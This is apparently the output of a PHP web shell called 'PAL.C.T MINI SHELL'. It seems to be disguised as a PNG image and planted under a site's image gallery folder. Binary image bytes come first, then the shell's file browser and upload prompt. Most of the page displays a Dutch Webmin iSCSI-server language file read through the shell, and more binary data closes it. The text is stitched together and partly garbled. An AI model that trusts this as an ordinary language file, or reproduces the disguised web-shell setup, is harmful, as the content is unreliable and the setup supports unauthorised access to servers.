php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/iscsi-server/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/iscsi-server/lang/nl.auto

check_etargets=Het iSCSI-serverconfiguratiebestand $1 is niet gevonden op uw systeem.
check_eserver=Het iSCSI-serverprogramma $1 is niet gevonden op uw systeem.

index_title=iSCSI-server
index_clink=Misschien is het niet geïnstalleerd of is uw <a href='$1'>moduleconfiguratie</a> onjuist.
index_stop=Stop iSCSI-server
index_stopdesc=Klik op deze knop om de actieve iSCSI-server te stoppen. Alle gedeelde apparaten zijn niet langer toegankelijk voor klanten.
index_start=Start iSCSI-server
index_startdesc=Klik op deze knop om de iSCSI-server te starten, zodat gedeelde apparaten toegankelijk zijn voor clients.
index_restart=Start iSCSI-server opnieuw op
index_restartdesc=Klik op deze knop om de huidige configuratie toe te passen door de iSCSI-server opnieuw op te starten.
index_atboot=Beginnen bij het opstarten?
index_atbootdesc=Wijzig deze optie om te bepalen of de iSCSI-server tijdens het opstarten wordt gestart of niet. Als het momenteel niet is gestart bij het opstarten en Ja is gekozen, wordt er een nieuw init-script gemaakt.
index_return=module-index

extents_title=Apparaten om te delen
extents_none=Er zijn nog geen apparaten gemaakt om te delen.
extents_name=Toestelnaam
extents_file=Bestand of apparaatpad
extents_start=Begin van omvang
extents_size=Grootte van omvang
extents_add=Voeg een nieuw apparaat toe om te delen.
extents_delete=Verwijder geselecteerde apparaten
extents_return=lijst met apparaten om te delen
extents_derr=Kan apparaten niet verwijderen
extents_denone=Geen geselecteerd
extents_einuse=Apparaat $1 kan niet worden verwijderd omdat het in gebruik is door : $2 
extents_drusure=Weet u zeker dat u de volgende apparaten wilt verwijderen: $1 ? Hun inhoud blijft behouden, maar is niet langer toegankelijk voor iSCSI-clients.
extents_sure=Apparaten verwijderen

extent_create=Maak een apparaat om te delen
extent_edit=Bewerk apparaat om te delen
extent_egone=Apparaat om $1 te delen bestaat niet!
extent_header=Details van apparaat om te delen
extent_name=Toestelnaam
extent_device=Bestand of schijfapparaat om te delen
extent_start=Begin van omvang om te delen
extent_size=Omvang van de omvang
extent_size_def1=Gehele bestand of apparaat
extent_size_def0=Opgegeven maat
extent_part=Lokale schijfpartitie
extent_raid=RAID-apparaat
extent_md=RAID-apparaat $1 
extent_lvm=LVM logisch volume
extent_lv=LVM VG $1, LV $2 
extent_other=Ander bestand of apparaat
extent_rusure=Weet u zeker dat u het gedeelde apparaat $1 wilt verwijderen? De inhoud blijft behouden, maar is niet langer toegankelijk voor iSCSI-clients.
extent_sure=Apparaat verwijderen
extent_err=Kan apparaat niet opslaan om te delen
extent_derr=Kan apparaat niet verwijderen om te delen
extent_eother=Te delen bestand bestaat niet
extent_estart=Begin van omvang moet een nummer zijn
extent_esize=Grootte moet een getal zijn
extent_esizemax=Einde van omvang kan niet groter zijn dan de apparaatgrootte van $1 
extent_einuse=Dit apparaat kan niet worden verwijderd omdat het in gebruik is door : $1 

devices_title=Apparaatcombinaties
devices_none=Er zijn nog geen apparaatcombinaties gemaakt.
devices_name=Combinatienaam
devices_mode=Combinatietype
devices_mode_raid0=Lineair (RAID0)
devices_mode_raid1=Gerepliceerd (RAID1)
devices_extents=Apparaten van leden
devices_add=Voeg een nieuwe apparaatcombinatie toe.
devices_delete=Verwijder geselecteerde combinaties
devices_return=lijst met apparaatcombinaties
devices_derr=Kan apparaatcombinaties niet verwijderen
devices_denone=Geen geselecteerd
devices_einuse=Combinatie $1 kan niet worden verwijderd, omdat deze wordt gebruikt door : $2 
devices_drusure=Weet u zeker dat u de volgende apparaatcombinaties wilt verwijderen: $1 ? Hun inhoud blijft behouden, maar is niet langer toegankelijk voor iSCSI-clients.
devices_sure=Apparaatcombinaties verwijderen

device_create=Maak apparaatcombinatie
device_edit=Apparaatcombinatie bewerken
device_egone=Apparaatcombinatie $1 bestaat niet!
device_header=Details van apparaatcombinatie
device_name=Naam van apparaatcombinatie
device_mode=Combinatietype
device_extents=Apparaten van leden
device_poss=Alle beschikbare apparaten
device_got=Apparaten van leden
device_err=Kan apparaatcombinatie niet opslaan
device_derr=Kan apparaatcombinatie niet verwijderen
device_rusure=Weet u zeker dat u de apparaatcombinatie $1 wilt verwijderen? De inhoud blijft behouden, maar is niet langer toegankelijk voor iSCSI-clients.
device_sure=Apparaatcombinatie verwijderen
device_einuse=Deze apparaatcombinatie kan niet worden verwijderd omdat deze in gebruik is door : $1 
device_eextents=Geen aangesloten apparaten geselecteerd
device_eself=Een van de geselecteerde aangesloten apparaten bevat dit apparaat!

targets_title=Doelen delen
targets_none=Er zijn nog geen deeldoelen gemaakt.
targets_name=Doelnaam
targets_flags=Deel modus
targets_flags_ro=Alleen lezen
targets_flags_rw=Lezen schrijven
targets_export=Delen
targets_network=Deel met netwerk
targets_add=Voeg een nieuw doel voor delen toe.
targets_delete=Verwijder geselecteerde doelen
targets_return=lijst met doelen voor delen
targets_derr=Kan doelen voor delen niet verwijderen
targets_denone=Geen geselecteerd
targets_drusure=Weet u zeker dat u de volgende doelen voor delen wilt verwijderen: $1 ? Er gaan geen gegevens verloren, maar ze zijn niet langer toegankelijk voor iSCSI-clients.
targets_sure=Gedeelde doelen verwijderen

target_create=Maak doelen voor delen
target_edit=Bewerk deeltargets
target_egone=Doel $1 delen bestaat niet!
target_header=Details van het delen van doel
target_name=Doelnaam delen
target_flags=Toegangsmodus
target_export=Apparaat of combinatie
target_network=Deel met netwerk
target_network_all=Alle netwerken
target_network_net=Alleen netwerk
target_err=Kan doel voor delen niet opslaan
target_derr=Kan doel voor delen niet verwijderen
target_rusure=Weet u zeker dat u het doel voor delen $1 wilt verwijderen? Er gaan geen gegevens verloren, maar zijn niet langer toegankelijk voor iSCSI-clients.
target_sure=Doel verwijderen
target_enetwork=Ontbrekend of ongeldig netwerk om mee te delen
target_emask=Ontbrekend of ongeldig netmasker om mee te delen

opts_title=iSCSI-serveropties
opts_header=Opties voor alle iSCSI-doelen
opts_ip4=Accepteer IPv4-verbindingen
opts_ip6=Accepteer IPv6-verbindingen
opts_name=Naam zichtbaar voor klanten
opts_namedef=Standaard (systeemhostnaam)
opts_port=Luister op poort
opts_sess=Maximale gelijktijdige sessies
opts_err=Kan opties niet opslaan
opts_ename=Ontbrekende of ongeldige naam - alleen letters, cijfers, streepje, punt en onderstrepingsteken zijn toegestaan
opts_eport=Ontbrekend of niet-numeriek poortnummer
opts_esess=Ontbrekende of niet-numerieke maximale sessies

manual_title=Configuratiebestand bewerken
manual_desc=Gebruik het onderstaande tekstvak om het iSCSI-serverconfiguratiebestand $1 te bewerken. Wees voorzichtig, want er zal geen validatie worden uitgevoerd op uw input!
manual_err=Kan configuratiebestand niet opslaan
manual_edata=Geen inhoud ingevoerd!

users_title=iSCSI-verificatie
users_none=Er zijn nog geen iSCSI-gebruikers aangemaakt. Klanten hebben toegang tot gedeelde apparaten zonder authenticatie.
users_add=Voeg een nieuwe iSCSI-gebruiker toe.
users_delete=Verwijder geselecteerde gebruikers
users_name=Gebruikersnaam
users_mode=Verificatiemethode
users_return=lijst van gebruikers

user_create=Maak een iSCSI-gebruiker aan
user_edit=Bewerk iSCSI-gebruiker
user_header=iSCSI-gebruikersgegevens
user_user=Client gebruikersnaam
user_mode=Verificatiemethode
user_pass=Client wachtwoord
user_egone=Gebruiker bestaat niet meer!
user_err=Kan iSCSI-gebruiker niet opslaan
user_euser=Ontbrekende of ongeldige gebruikersnaam - spaties en dubbele punten zijn niet toegestaan
user_epass=Ontbrekend of ongeldig wachtwoord - spaties en dubbele punten zijn niet toegestaan

desc_extent=Apparaat om $1 te delen
desc_device=Apparaatcombinatie $1 
desc_target=Doel $1 delen

start_err=Kan iSCSI-server niet starten
stop_err=Kan iSCSI-server niet stoppen
restart_err=Kan iSCSI-server niet opnieuw opstarten
atboot_err=Kan niet inschakelen bij opstarten

log_create_extent=Apparaat gemaakt om $1 te delen
log_modify_extent=Apparaat geüpdatet om $1 te delen
log_delete_extent=Apparaat verwijderd om $1 te delen
log_create_device=Apparaatcombinatie $1 gemaakt
log_modify_device=Bijgewerkte apparaatcombinatie $1 
log_delete_device=Apparaatcombinatie $1 verwijderd
log_create_target=Deeldoel $1 gemaakt
log_modify_target=Doel voor delen $1 bijgewerkt
log_delete_target=Doel voor delen $1 verwijderd
log_delete_extents=$1 apparaten verwijderd om te delen
log_delete_devices=$1 apparaatcombinaties verwijderd
log_delete_targets=$1 doelen voor delen verwijderd
log_start=Gestart iSCSI-server
log_stop=ISCSI-server gestopt
log_restart=Herstart iSCSI-server
log_atboot=Ingeschakeld iSCSI-server tijdens het opstarten
log_delboot=ISCSI-server uitgeschakeld tijdens het opstarten
log_manual=Handmatig bewerkt configuratiebestand
log_create_user=ISCSI-gebruiker $1 gemaakt
log_modify_user=Bijgewerkte iSCSI-gebruiker $1 
log_delete_user=ISCSI-gebruiker $1 verwijderd
log_delete_users=$1 iSCSI-gebruikers verwijderd
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`